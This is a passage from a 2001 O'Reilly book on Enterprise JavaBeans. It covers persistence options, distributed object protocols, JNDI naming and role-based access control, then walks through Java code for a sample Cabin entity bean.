In addition to synchronizing the state of an entity, EJB provides mechanisms for creating and removing entities. Calls to the EJB home to create and remove entities will result in a corresponding insertion or deletion of records in the database. Because entities store their state in database tables, new records (and therefore bean identities) can be added to tables from outside the EJB system. In other words, inserting a record into the CABIN table--whether done by EJB or by direct access to the database--creates a new Cabin entity. It's not created in the sense of instantiating a Java object, but in the sense that the data that describes a Cabin entity has been added to the system.

Object-to-relational persistence can become very complex because objects don't always map cleanly to a relational database. Although you can specify any Java serializable type as a container-managed field, Java objects don't always map seamlessly to a relational database. You frequently need to convert Java types to some nonobject type just prior to synchronization so that the data can be stored in a relational database. Techniques for handling these types of problems are described in more detail in Chapter 9, "Design Strategies".

NOTE

EJB 1.1 allows the container-managed fields to include remote references to EJB objects (remote interface types) and EJB homes (home interface types). EJB 1.0 allows only Java primitives and serializable types as container-managed fields. While the ability to store an EJB reference in a container-managed field makes it much easier to model relationships between entity beans, it has made persistence more complicated for vendors. In EJB 1.1, the container must convert any container-managed field that holds a remote or home interface reference into a serializable primary key or handle. We'll learn more about container-managed fields in Chapter 6, "Entity Beans".

There are many other impedance mismatches when mapping object-to-relational databases, and some EJB vendor implementations deal with them better than others. Relational databases, however, are still a very good persistence store because they are stable and well-understood. There is no shortage of developers who understand them or products that support them. In addition, the large number of SQL-standard relational databases makes it fairly easy to migrate from one database to another.

3.2.3.2. Object database persistence

Object-oriented databases are designed to preserve object types and object graphs and therefore are a much better match for components written in an object-oriented language like Java. They offer a cleaner mapping between entity beans and the database than a traditional relational database. Serializable objects can be preserved without the mismatch associated with object-to-relational persistence because the object's definition and state are simply saved as is to the database. Not only are the object's definition and state saved to the database, complex relationships such as circular references can also be maintained. Because object databases store the objects as objects, object databases are viewed by many developers as a superior database technology for object persistence.

While object databases perform well when it comes to very complex object graphs, they are still fairly new to business systems and are not as widely accepted as relational databases. As a result, they are not as standardized as relational databases, making it more difficult to migrate from one database to another. In addition, fewer third-party products exist that support object databases, like products for reporting and data warehousing.

Several relational databases support extended features for native object persistence. These databases allow some objects to be preserved in relational database tables like other data types and offer some advantages over other databases.

3.2.3.3. Legacy persistence

EJB is often used to put an object wrapper on legacy systems, systems that are based on mainframe applications or nonrelational databases. Container-managed persistence in such an environment requires a special EJB container designed specifically for legacy data access. Vendors might, for example, provide mapping tools that allow beans to be mapped to IMS, CICS, b-trieve, or some other legacy application.

Regardless of the type of legacy system used, container-managed persistence is preferable to bean-managed persistence. With container-managed persistence, the bean's state is managed automatically, which is more efficient at runtime and more productive during bean development. Many projects, however, require that beans obtain their state from legacy systems that are not supported by mapping tools. In these cases, developers must use bean-managed persistence, which means that the developer doesn't use the automatic persistence service of the EJB server. Chapter 6, "Entity Beans" describes both container-managed and bean-managed persistence in detail.

3.2.4. Distributed Objects

Three main distributed object services are available today: CORBA, Java RMI, and DCOM. Each of these services uses a different RMI network protocol, but they all accomplish basically the same thing: location transparency.DCOM is primarily used in the Microsoft Windows environment and is not well supported by other operating systems. Its tight integration with Microsoft products makes it a good choice for Microsoft-only systems. CORBA is neither operating-system specific nor language specific and is therefore the most open distributed object service of the three. It's an ideal choice when integrating systems developed in multiple programming languages. Java RMI is a Java language abstraction or programming model for any kind of distributed object protocol. In the same way that the JDBC API can be used to access any SQL relational database, Java RMI is intended to be used with almost any distributed object protocol. In practice, Java RMI has traditionally been limited to the Java Remote Method Protocol ( JRMP)--known as Java RMI over JRMP--which can only be used between Java applications. Recently an implementation of Java RMI over IIOP ( Java RMI-IIOP), the CORBA protocol, has been developed. Java RMI-IIOP is a CORBA-compliant version of Java RMI, which allows developers to leverage the simplicity of the Java RMI programming model, while taking advantage of the platform- and language-independent CORBA protocol, IIOP.[2]

[2]Java RMI-IIOP is interoperable with CORBA ORBs that support the CORBA 2.3 specification. ORBs that support an older specification cannot be used with Java RMI-IIOP because they do not implement the Object by Value portion of the 2.3 specification.

When we discuss the remote interface, home interface, and other EJB interfaces and classes used on the client, we are talking about the client's view of the EJB system. The EJB client view doesn't include the EJB objects, container, instance swapping, or any of the other implementation specifics. As far as the client is concerned, a bean is defined by its remote interface and home interface. Everything else is invisible. As long as the EJB server supports the EJB client view, any distributed object protocol can be used.

Regardless of the protocol used, the server must support Java clients using the Java EJB client API, which means that the protocol must map to the Java RMI for EJB 1.0 or Java RMI-IIOP for EJB 1.1. Using Java RMI over DCOM seems a little far-fetched, but it is possible. Chapter 3, "Resource Management and the Primary Services" illustrates the Java language EJB API supported by different distributed object protocols.

Figure 3-10. Java EJB client view supported by various protocols

EJB also allows servers to support access to beans by clients written in languages other than Java. An example of this is the EJB-to-CORBA mapping defined by Sun.[3] This document describes the CORBA IDL (Interface Definition Language) that can be used to access enterprise beans from CORBA clients. A CORBA client can be written in any language, including C++, Smalltalk, Ada, and even COBOL. The mapping also includes details about supporting the Java EJB client view as well as details on mapping the CORBA naming system to EJB servers and distributed transactions across CORBA objects and beans. Eventually, a EJB-to-DCOM mapping may be defined that will allow DCOM client applications written in languages like Visual Basic, Delphi, PowerBuilder, and others to access beans. Chapter 3, "Resource Management and the Primary Services" illustrates the possibilities for accessing an EJB server from different distributed object clients.

[3] Sun Microsystems' Enterprise JavaBeans™ to CORBA Mapping, Version 1.1, by Sanjeev Krishnan, Copyright 1999 by Sun Microsystems.

Figure 3-11. EJB accessed from different distributed clients

As a platform-independent and language-independent distributed object protocol, CORBA is often thought of as the superior of the three protocols discussed here. For all its advantages, however, CORBA suffers from some limitations. Pass-by-value, a feature easily supported by Java RMI-IIOP, was only recently introduced in the CORBA 2.3 specification and is not well supported. Another limitation of CORBA is with casting remote proxies. In Java RMI-JRMP, you can cast or widen a proxy's remote interface to a subtype or supertype of the interface, just like any other object. This is a powerful feature that allows remote objects to be polymorphic. In Java RMI-IIOP, you have to call a special narrowing method to change the interface of a proxy to a subtype, which is cumbersome.

However, JRMP is has its own limitations. While JRMP may be a more natural fit for Java-to-Java distributed object systems, it lacks inherent support for both security and transactional services--support that is a part of the CORBA IIOP specification. This limits the effectiveness of JRMP in heterogeneous environments where security and transactional contexts must be passed between systems.

3.2.5. Naming

All distributed object services use a naming service of some kind. Java RMI-JRMP and CORBA use their own naming services. All naming services do essentially the same thing regardless of how they are implemented: they provide clients with a mechanism for locating distributed objects.

To accomplish this, a naming service must provide two things: object binding and a lookup API. Object binding is the association of a distributed object with a natural language name or identifier. The CabinHome object, for example, might be bound to the name "cabin.Home" or "room." A binding is really a pointer or an index to a specific distributed object, which is necessary in an environment that manages hundreds of different distributed objects. A lookup API provides the client with an interface to the naming system. Simply put, lookup APIs allow clients to connect to a distributed service and request a remote reference to a specific object.

Enterprise JavaBeans mandates the use of the Java Naming and Directory Interface ( JNDI) as a lookup API on Java clients. JNDI supports just about any kind of naming and directory service. A directory service is a very advanced naming service that organizes distributed objects and other resources--printers, files, application servers, etc.--into hierarchical structures and provides more sophisticated management features. With directory services, metadata about distributed objects and other resources are also available to clients. The metadata provides attributes that describe the object or resource and can be used to perform searches. You can, for example, search for all the laser printers that support color printing in a particular building.

Directory services also allow resources to be linked virtually, which means that a resource can be located anywhere you choose in the directory services hierarchy. JNDI allows different types of directory services to be linked together so that a client can move between different types of services seamlessly. It's possible, for example, for a client to follow a directory link in a Novell NetWare directory into an EJB server, allowing the server to be integrated more tightly with other resources of the organization it serves.

There are many different kinds of directory and naming services; EJB vendors can choose the one that best meets their needs. All EJB servers, however, must provide JNDI access to their particular directory or naming service. EJB servers that support access to beans using non-Java clients must also support a naming system specific to the distributed object protocol used. The EJB-to-CORBA mapping, for example, specifies how EJB homes should be organized for CORBA Naming Service.

A Java client application would use JNDI to initiate a connection to an EJB server and to locate a specific EJB home. The following code shows how the JNDI API might be used to locate and obtain a reference to the EJB home CabinHome:

javax.naming.Context jndiContext =
    new javax.naming.InitialContext(properties);
Object ref = jndiContext.lookup("cabin.Home");
// EJB 1.0: Use Java native cast instead of narrow()
CabinHome cabinHome = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

Cabin cabin = cabinHome.create(382, "Cabin 333",3);
cabin.setName("Cabin 444");
cabin.setDeckLevel(4);

The properties passed into the constructor of InitialContext tell the JNDI API where to find the EJB server and what JNDI service provider (driver) to load. The Context.lookup() method tells the JNDI service provider the name of the object to return from the EJB server. In this case, we are looking for the home interface to the Cabin bean. Once we have the Cabin bean's home interface, we can use it to create new cabins and access existing cabins.

NOTE

EJB 1.1 requires the use of the PortableRemoteObject.narrow() method to cast the remote reference obtained from JNDI into the CabinHome interface type. This is addressed in more detail in Chapter 4, "Developing Your First Enterprise Beans" and Chapter 5, "The Client View" and is not essential to the content covered here. EJB 1.0 uses native Java casting.

3.2.6. Security

Enterprise JavaBeans servers might support as many as three kinds of security: authentication, access control, and secure communication. Only access control is specifically addressed in the EJB 1.0 and EJB 1.1 specifications.

Authentication

Simply put, authentication validates the identity of the user. The most common kind of authentication is a simple login screen that requires a username and a password. Once users have successfully passed through the authentication system, they are free to use the system. Authentication can also be based on secure ID cards, swipe cards, security certificates, and other forms of identification. While authentication is the primary safeguard against unauthorized access to a system, it is fairly crude because it doesn't police an authorized user's access to resources within the system.

Access control

Access control (a.k.a. authorization) applies security policies that regulate what a specific user can and cannot do within a system. Access control ensures that users only access resources for which they have been given permission. Access control can police a user's access to subsystems, data, and business objects, or it can monitor more general behavior. Certain users, for example, may be allowed to update information while others are only allowed to view the data.

Secure communication

Communication channels between a client and a server are frequently the focus of security concerns. A channel of communication can be secured by physical isolation (like a dedicated network connection) or by encrypting the communication between the client and the server. Physically securing communication is expensive, limiting, and pretty much impossible on the Internet, so we will focus on encryption. When communication is secured by encryption, the messages passed are encoded so that they cannot be read or manipulated by unauthorized individuals. This normally involves the exchange of cryptographic keys between the client and the server. The keys allow the receiver of the message to decode the message and read it.

Most EJB servers support secure communications--usually through SSL (secure socket layer)--and some mechanism for authentication, but EJB 1.0 and 1.1 only specify access control in their server-side component models. Authentication may be specified in subsequent versions, but secure communications will probably never be specified. Secure communications is really independent of the EJB specification and the distributed object protocol.

Although authentication is not specified in EJB, it is often accomplished using the JNDI API. In other words, a client using JNDI can provide authenticating information using the JNDI API to access a server or resources in the server. This information is frequently passed when the client attempts to initiate a JNDI connection to the EJB server. The following code shows how the client's password and username are added to the connection properties used to obtain a JNDI connection to the EJB server:

properties.put(Context.SECURITY_PRINCIPAL, userName );
properties.put(Context.SECURITY_CREDENTIALS, userPassword);

javax.naming.Context jndiContext =
    new javax.naming.InitialContext(properties);
Object ref= jndiContext.lookup("titan.CabinHome");
// EJB 1.0: Use Java native cast instead of narrow()
CabinHome cabinHome = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

Enterprise JavaBeans 1.0 and 1.1 use slightly different models to control client access to beans and their methods. While EJB 1.0 access control is based on Identity objects with a method driven organization, EJB 1.1 changed authorization to be based on Principal types rather than Identity types and to be role-driven rather than method-driven.

EJB specifies that every client application accessing an EJB system must be associated with a security identity. The security identity represents the client as either a user or a role. A user might be a person, security credential, computer, or even a smart card. Normally, the user will be a person whose identity is assigned when he or she logs in. A role represents a grouping of identities and might be something like "manager," which is a group of user identities that are considered managers at a company.

When a client logs on to the EJB system, it is associated with a security identity for the duration of that session. The identity is found in a database or directory specific to the platform or EJB server. This database or directory is responsible for storing individual security identities and their memberships to groups.

Once a client application has been associated with an security identity, it is ready to use beans to accomplish some task. The EJB server keeps track of each client and its identity. When a client invokes a method on a home interface or a remote interface, the EJB server implicitly passes the client's identity with the method invocation. When the EJB object or EJB home receives the method invocation, it checks the identity to ensure that the client is allowed to invoke that method.

3.2.6.1. EJB 1.1: Role-driven access control

In EJB 1.1, the security identity is represented by a java.security.Principle object. As a security identity, the Principle acts as a representative for users, groups, organizations, smart cards, etc., to the EJB access control architecture. Deployment descriptors include tags that declare which logical roles are allowed to access which bean methods at runtime. The security roles are considered logical roles because they do not directly reflect users, groups, or any other security identities in a specific operational environment. Instead, security roles are mapped to real-world user groups and users when the bean is deployed. This allows a bean to be portable; every time the bean is deployed in a new system the roles can be mapped to the users and groups specific to that operational environment. Here is a portion of the Cabin bean's deployment descriptor that defines two security roles, ReadOnly and Administrator:

<security-role>
    <description>
        This role is allowed to execute any method on the bean.
        They are allowed to read and change any cabin bean data.
    </description>
    <role-name>
        Administrator
    </role-name>
</security-role>

<security-role>
    <description>
        This role is allowed to locate and read cabin info.
        This role is not allowed to change cabin bean data.
    </description>
    <role-name>
        ReadOnly
    </role-name>
</security-role>

The role names in this descriptor are not reserved or special names, with some sort of predefined meaning; they are simply logical names chosen by the bean assembler. In other words, the role names can be anything you want as long as they are descriptive.[4]

[4]For a complete understanding of XML, including specific rules for tag names and data, see XML Pocket Reference, by Robert Eckstein (O'Reilly).

How are roles mapped into actions that are allowed or forbidden? Once the security-role tags are declared, they can be associated with methods in the bean using method-permission tags. Each method-permission tag contains one or more method tags, which identify the bean methods associated with one or more logical roles identified by the role-name tags. The role-name tags must match the names defined by the security-role tags shown earlier.

<method-permission>
    <role-name>Administrator</role-name>
    <method>
        <ejb-name>CabinEJB</ejb-name>
        <method-name>*</method-name>
    </method>
</method-permission>
</method-permission>
    <role-name>ReadOnly</role-name>
    <method>
        <ejb-name>CabinEJB</ejb-name>
        <method-name>getName</method-name>
    </method>
    <method>
        <ejb-name>CabinEJB</ejb-name>
        <method-name>getDeckLevel</method-name>
    </method>
    <method>
        <ejb-name>CabinEJB</ejb-name>
        <method-name>findByPrimaryKey</method-name>
    </method>
</method-permission>

In the first method-permission, the Administrator role is associated with all methods on the Cabin bean, which is denoted by specifying the wildcard character (*) in the method-name of the method tag. In the second method-permission the ReadOnly role is limited to accessing only three methods: getName(), getDeckLevel(), and findByPrimaryKey(). Any attempt by a ReadOnly role to access a method that is not listed in the method-permission will result in an exception. This kind of access control makes for a fairly fine-grained authorization system.

Since an XML deployment descriptor can be used to describe more than one enterprise bean, the tags used to declare method permissions and security roles are defined in a special section of the deployment descriptor, so that several beans can share the same security roles. The exact location of these tags and their relationship to other sections of the XML deployment descriptor will be covered in more detail in Chapter 10, "XML Deployment Descriptors".

When the bean is deployed, the person deploying the bean will examine the security-role information and map each logical role to a corresponding user group in the operational environment. The deployer need not be concerned with what roles go to which methods; he can rely on the descriptions given in the security-role tags to determine matches based on the description of the logical role. This unburdens the deployer, who may not be a developer, from having to understand how the bean works in order to deploy it.

Figure 3-12 shows the same bean deployed in two different environments (labeled X and Z). In each environment, the user groups in the operational environment are mapped to their logical equivalent roles in the XML deployment descriptor so that specific user groups have access privileges to specific methods on specific beans.

Figure 3-12. Mapping roles in the operational environment to logical roles in the deployment descriptor

As you can see from the figure, the ReadOnly role is mapped to those groups that should be limited to the get accessor methods and the find method. The Administrator role is mapped to those user groups that should have privileges to invoke any method on the Cabin bean.

The access control described here is implicit; once the bean is deployed the container takes care of checking that users only access methods for which they have permission. This is accomplished by propagating the security identity, the Principle, with each method invocation from the client to the bean. When a client invokes a method on a bean, the client's Principle is checked to see if it is a member of a role mapped to that method. If it's not, an exception is thrown and the client is denied permission to invoke the method. If the client is a member of a privileged role, the invocation is allowed to go forward and the method is invoked.

If a bean attempts to access any other beans while servicing a client, it will pass along the client's security identity for access control checks by the other beans. In this way, a client's Principle is propagated from one bean invocation to the next, ensuring that a client's access is controlled whether or not it invokes a bean method directly.

3.2.6.2. EJB 1.0: Method-driven access control

In EJB 1.0, the security identity is represented by a java.security.Identity object. This class was used in JDK 1.1 but has been deprecated and replaced by the new security architecture in JDK 1.2. The java.security.Identity object is used in JDK 1.1 to represent people, groups, organizations, smart cards, etc.

As you learned in Chapter 2, "Architectural Overview", every bean type in EJB 1.0 has a DeploymentDescriptor, which describes the bean and defines how it will be managed at runtime. The DeploymentDescriptor contains ControlDescriptors and AccessControlEntrys. The AccessControlEntrys list all the identities that are allowed to invoke the bean's methods. The ControlDescriptor defines, among other things, the runAs security identity for the bean methods.

The person deploying the bean decides who gets to access the bean's methods by choosing Identitys from the EJB server and mapping them to the bean and its methods. AccessControlEntrys are responsible for the mapping. An AccessControlEntry contains a method identifier and a list of the Identitys that are allowed to access the method. An AccessControlEntry that doesn't specify a specific method is the default AccessControlEntry for the bean. Any methods that don't have an AccessControlEntry use the bean's default AccessControlEntry. Figure 3-13 shows how the Cabin bean's DeploymentDescriptor would map a set of AccessControlEntrys defined for the CabinBean's methods.

Figure 3-13. AccessControlEntrys for CabinBean

In addition to specifying the Identitys that have access to a bean's methods, the deployer also specifies the runAs Identity for the bean's methods. The runAs Identity was abandoned in EJB 1.1, but it's an important part of the EJB 1.0 access control architecture. While the AccessControlEntrys specify which Identitys have access to the bean's methods, the ControlDescriptors specify under which Identity the method will run. In other words, the runAs Identity is used as the bean's identity when it tries to invoke methods on other beans--this identity isn't necessarily the same as the identity that's currently accessing the bean. For example, it is possible to specify that the ejbCreate() method can only be accessed by Jim Smith but that it runs under Administrator's Identity. This is useful when beans or resources accessed in the body of the method require an Identity different from the one used to gain access to the method. The ejbCreate() method might call a method in bean X that requires the Administrator's Identity. If we want to use bean X in the ejbCreate() method, but we only want Jim Smith to create new cabins, we would use the ControlDescriptor and AccessControlEntry together to give us this kind of flexibility: the AccessControlEntry for ejbCreate() would specify that only Jim Smith can invoke the method, and the ControlDescriptor would specify that the bean's runAs Identity is Administrator.

ControlDescriptors, like AccessControlEntrys, can apply to a specific method or act as a default for the bean. The ControlDescriptor allows the deployer to specify one of three possible runAs modes:

CLIENT_IDENTITY

The method runs under the calling client's Identity. In other words, the Identity used to gain access will also be the runAs Identity for the method.

SPECIFIED_IDENTITY

The method runs under a previously chosen Identity. The Identity used is set on the ControlDescriptor when the bean is deployed.

SYSTEM_IDENTITY

The method runs under a system Identity. The SYSTEM_IDENTITY is determined by the platform but is usually the Identity that the EJB server itself is running under.

Figure 3-14 illustrates how the runAs Identity can change in a chain of method invocations. Notice that the runAs Identity is the Identity used to test for access in subsequent method invocations.

Figure 3-14. runAs Identity

  1. The client who is identified as "Bill Jones" invokes the method foo() on bean A.

  2. Before servicing the method, bean A checks to see if "Bill Jones" is in the AccessControlEntry for foo().

  3. Once validated, foo() executes under the runAs Identity of the calling client.

  4. While foo() is executing, it invokes method bar() on bean B.

  5. Bean B checks method foo()'s runAs Identity ("Bill Jones") against the AccessControlEntry for method bar(). "Bill Jones" is in the AccessControlEntry's list of Identitys, so the method bar() is allowed to execute.

  6. The method bar(), however, is executed under the Identity of "Administrator" as specified by bar()'s ControlDescriptor.

  7. While bar() is executing, bean B invokes the method boo() on bean C.

  8. Bean C checks and finds that bar()'s runAs Identity ("Administrator") is in the AccessControlEntry.

  9. The ControlDescriptor for the method boo() requires that it be executed under the runAs Identity of the system.

This protocol applies equally to entity and stateless session beans. All the methods in a stateful session bean, however, have a single runAs Identity, which is the Identity used to create the session--the identity used when ejbCreate() is invoked. In other words, subsequent methods invoked on a stateful bean instance must not specify a conflicting runAs identity.

Here is a code fragment that shows how the access control setting can be made programmatically in a DeploymentDescriptor. In this example, we are setting the access control attributes for bean A. The AclRepository type is an imaginary interface into a proprietary database or directory.

// Create a new AccessControlEntry.
AccessControlEntry ace = new AccessControlEntry();

// Get a reference to the method foo() using reflection.
Class beanClass = ABean.class;
Class parameters [] = new Class[0];
Method fooMethod = beanClass.getDeclaredMethod("foo", parameters);
// Add the method reference to the AccessControlEntry.
ace.setMethod(fooMethod);

// Get a list of identities.
Identity [] identities = new Identity[3];
identities[0] = AclRepository.getIdentity("Bill Jones");
identities[1] = AclRepository.getIdentity("Cathy Lee");
identities[2] = AclRepository.getIdentity("John Bales");
// Add the identities to the AccessControlEntry.
ace.setAllowedIdentities(identities);

// Create a new ControlDescriptor.
ControlDescriptor cd = new ControlDescriptor();
// Set the foo() as the method and the runAs mode as CLIENT_IDENTITY.
cd.setMethod(fooMethod);
cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY );

// Add the ControlDescriptor and AccessControlEntry to the
// DeploymentDescriptor for Bean A.
deploymentDescriptor.setAccessControlEntries(0,ace);
deploymentDescriptor.setControlDescriptors(0,cd);
Previous | Home | Next
3.1. Resource Management | Book Index | 3.3. What's Next?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What's Next? (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

3.3. What's Next?

The first three chapters gave you a foundation on which to develop Enterprise JavaBeans components and applications. You should have a better understanding of CTMs and the EJB component model.

Beginning with Chapter 4, "Developing Your First Enterprise Beans", you will develop your own beans and learn how to apply them in EJB applications.

Previous | Home | Next
3.2. Primary Services | Book Index | 4. Developing Your First Enterprise Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Developing Your First Enterprise Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 4. Developing Your First Enterprise Beans

Contents:

Choosing and Setting Up an EJB Server
Developing an Entity Bean
Developing a Session Bean

4.1. Choosing and Setting Up an EJB Server

One of the most important features of EJB is that beans should work with containers from different vendors. That doesn't mean that selecting a server and installing your beans on that server are trivial processes. We'll start this chapter with a general discussion of how you select and set up a server.

The EJB server you choose should be compliant with the EJB 1.0 or EJB 1.1 specification. However, in the EJB 1.0 version of the specification, support for entity beans and container-managed persistence is optional. In EJB 1.1, support for entity beans is required. The first example in this chapter--and most of the examples in this book--assume that your EJB server supports entity beans and container-managed persistence.[1] The EJB server you choose should also provide a utility for deploying an enterprise bean. It doesn't matter whether the utility is command-line oriented or graphical, as long as it does the job. The deployment utility should allow you to work with prepackaged enterprise beans, i.e., beans that have already been developed and archived in a JAR file. Finally, the EJB server should support an SQL-standard relational database that is accessible using JDBC. For the database, you should have privileges sufficient for creating and modifying a few simple tables in addition to normal read, update, and delete capabilities. If you have chosen an EJB server that does not support an SQL standard relational database, you may need to modify the examples to work with the product you are using.

[1]Chapter 9, "Design Strategies" discusses how to work with servers that don't support entity beans. Chapter 6, "Entity Beans" includes a discussion of bean-managed persistence, which you can use if your server doesn't support container-managed persistence.

4.1.1. Setting Up Your Java IDE

To get the most from this chapter, it helps to have an IDE that has a debugger and allows you to add Java files to its environment. Several Java IDEs, like Symantec's Visual Cafe, IBM's VisualAge, Inprise's JBuilder, and Sun's Forte, fulfill this simple requirement. The debugger is especially important because it allows you to walk slowly through your client code and observe how the EJB client API is used.

Once you have an IDE set up, you need to include the Enterprise JavaBeans packages. These packages include javax.ejb and for EJB 1.0 javax.ejb.deployment. You also need the JNDI packages, including javax.naming, javax.naming.directory, and javax.naming.spi. In addition, you will need the javax.rmi package for EJB 1.1. All these packages can be downloaded from Sun's Java site (http://www.javasoft.com) in the form of ZIP or JAR files. They may also be accessible in the subdirectories of your EJB server, normally under the lib directory.

Previous | Home | Next
3.3. What's Next? | Book Index | 4.2. Developing an Entity Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Developing an Entity Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

4.2. Developing an Entity Bean

There seems to be no better place to start than the Cabin bean, which we have been examining throughout the previous chapters. The Cabin bean is an entity bean that encapsulates the data and behavior associated with a real-world cruise ship cabin in Titan's business domain.

4.2.1. Cabin: The Remote Interface

When developing an entity bean, we first want to define the bean's remote interface. The remote interface defines the bean's business purpose; the methods of this interface must capture the concept of the entity. We defined the remote interface for the Cabin bean in Chapter 2, "Architectural Overview"; here, we add two new methods for setting and getting the ship ID and the bed count. The ship ID identifies the ship that the cabin belongs to, and the bed count tells how many people the cabin can accommodate.

package com.titan.cabin;

import java.rmi.RemoteException;

public interface Cabin extends javax.ejb.EJBObject {
    public String getName() throws RemoteException;
    public void setName(String str) throws RemoteException;
    public int getDeckLevel() throws RemoteException;
    public void setDeckLevel(int level) throws RemoteException;
    public int getShip() throws RemoteException;
    public void setShip(int sp) throws RemoteException;
    public int getBedCount() throws RemoteException;
    public void setBedCount(int bc) throws RemoteException;
}

The Cabin interface defines four properties: the name, deckLevel, ship, and bedCount. Properties are attributes of a bean that can be accessed by public set and get methods. The methods that access these properties are not explicitly defined in the Cabin interface, but the interface clearly specifies that these attributes are readable and changeable by a client.

Notice that we have made the Cabin interface a part of a new package named com.titan.cabin. In this book, we place all the classes and interfaces associated with each type of bean in a package specific to the bean. Because our beans are for the use of the Titan cruise line, we place these packages in the com.titan package hierarchy. We also create directory structures that match package structures. If you are using an IDE that works directly with Java files, create a new directory somewhere called dev (for development) and create the directory structure shown in Figure 4-1. Copy the Cabin interface into your IDE and save its definition to the cabin directory. Compile the Cabin interface to ensure that its definition is correct. The Cabin.class file, generated by the IDE's compiler, should be written to the cabin directory, the same directory as the Cabin.javafile.

Figure 4-1. Directory structure for the Cabin bean

4.2.2. CabinHome: The Home Interface

Once we have defined the remote interface of the Cabin bean, we have defined the world's view of this simple entity bean. Next, we need to define the Cabin bean's home interface, which specifies how the bean can be created, located, and destroyed; in other words, the Cabin bean's life-cycle behavior. Here is a complete definition of the CabinHome home interface:

package com.titan.cabin;

import java.rmi.RemoteException;
import javax.ejb.CreateException;
import javax.ejb.FinderException;

public interface CabinHome extends javax.ejb.EJBHome {

    public Cabin create(int id)
        throws CreateException, RemoteException;

    public Cabin findByPrimaryKey(CabinPK pk)
        throws FinderException, RemoteException;
}

The CabinHome interface extends the javax.ejb.EJBHome and defines two life- cycle methods: create() and findByPrimaryKey(). These methods create and locate Cabin beans. Remove methods (for deleting beans) are defined in the javax.ejb.EJBHome interface, so the CabinHome interface inherits them. This interface is packaged in com.titan.cabin, just like the Cabin interface. It should be copied to your IDE and saved as CabinHome.java in the same directory as the Cabin.java file. If you attempt to compile the CabinHome interface, you will get an error stating that the CabinPK class could not be found. Next, we will create the CabinPK class to correct this problem.

4.2.3. CabinPK: The Primary Key

The CabinPK is the primary key class of the Cabin bean. All entity beans must have a serializable primary key that can be used to uniquely identify an entity bean in the database. Here is the class definition of the CabinPK primary key:

package com.titan.cabin;

public class CabinPK implements java.io.Serializable {
    public int id;

    public int hashCode() {
        return id;
    }
    public boolean equals(Object obj) {
        if (obj instanceof CabinPK) {
            return (id == ((CabinPK)obj).id);
        }
        return false;
    }
}

The primary key belongs to the com.titan.cabin package and implements the java.io.Serializable interface. The CabinPK defines one public attribute, id. This id field is used to locate specific Cabin entities or records in the database at runtime. EJB 1.1 requires that we override the Object.hashCode() and Object.equals() methods; EJB 1.0 doesn't require this, but it's a good practice regardless of the version of EJB you are using. These methods ensure that the primary key evaluates properly when used with hash tables and in other situations.[2] Later, we will learn that the primary key must encapsulate attributes that match one or more container-managed fields in the bean class. In this case, the id field will have to match a field in the CabinBean class. Copy the CabinPK definition into your IDE, and save it to the cabin directory as CabinPK.java file. Compile it. Now that CabinPK has been compiled, you should be able to compile CabinHome without errors.

[2]In Chapter 6, "Entity Beans" and Chapter 9, "Design Strategies", we discuss implementing the hashCode()and equals()methods in more detail.

4.2.4. CabinBean: The Bean Class

You have now defined the complete client-side API for creating, locating, removing, and using the Cabin bean. Now we need to define CabinBean, the class that provides the implementation on the server for the Cabin bean. The CabinBean class is an entity bean that uses container-managed persistence, so its definition will be fairly simple. In addition to the callback methods discussed in Chapter 2, "Architectural Overview" and Chapter 3, "Resource Management and the Primary Services", we must also define EJB implementations for most of the methods defined in the Cabin and CabinHome interfaces. Here is the complete definition of the CabinBean class in EJB 1.1:

// EJB 1.1 CabinBean
package com.titan.cabin;

import javax.ejb.EntityContext;

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public int ship;
    public int bedCount;
    public CabinPK ejbCreate(int id) {
        this.id = id;
        return null;
    }
    public void ejbPostCreate(int id) {
        // Do nothing. Required.
    }
    public String getName() {
        return name;
    }
    public void setName(String str) {
        name = str;
    }
    public int getShip() {
        return ship;
    }
    public void setShip(int sp) {
        ship = sp;
    }
    public int getBedCount() {
        return bedCount;
    }
    public void setBedCount(int bc) {
        bedCount = bc;
    }
    public int getDeckLevel() {
        return deckLevel;
    }
    public void setDeckLevel(int level ) {
        deckLevel = level;
    }

    public void setEntityContext(EntityContext ctx) {
         // Not implemented.
    }
    public void unsetEntityContext() {
         // Not implemented.
    }
    public void ejbActivate() {
        // Not implemented.
    }
    public void ejbPassivate() {
        // Not implemented.
    }
    public void ejbLoad() {
        // Not implemented.
    }
    public void ejbStore() {
        // Not implemented.
    }
    public void ejbRemove() {
        // Not implemented.
    }
}

And here's the CabinBean class for EJB 1.0. It differs only in the return value of ejbCreate():

// EJB 1.0 CabinBean
import javax.ejb.EntityContext;

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public int ship;
    public int bedCount;
    public void ejbCreate(int id) {
        this.id = id;
    }
    public void ejbPostCreate(int id) {
        // Do nothing. Required.
    }
    public String getName() {
        return name;
    }
    public void setName(String str) {
        name = str;
    }
    public int getShip() {
        return ship;
    }
    public void setShip(int sp) {
        ship = sp;
    }
    public int getBedCount() {
        return bedCount;
    }
    public void setBedCount(int bc) {
        bedCount = bc;
    }
    public int getDeckLevel() {
        return deckLevel;
    }
    public void setDeckLevel(int level ) {
        deckLevel = level;
    }

    public void setEntityContext(EntityContext ctx) {
        // Not implemented.
    }
    public void unsetEntityContext() {
        // Not implemented.
    }
    public void ejbActivate(){
        // Not implemented.
    }
    public void ejbPassivate(){
        // Not implemented.
    }
    public void ejbLoad(){
        // Not implemented.
    }
    public void ejbStore(){
        // Not implemented.
    }
    public void ejbRemove(){
        // Not implemented.
    }
}

The CabinBean class belongs to the com.titan.cabin package, just like the interfaces and primary key class. The CabinBean class can be divided into four sections for discussion: declarations for the container-managed fields, the ejbCreate() methods, the callback methods, and the remote interface implementations.

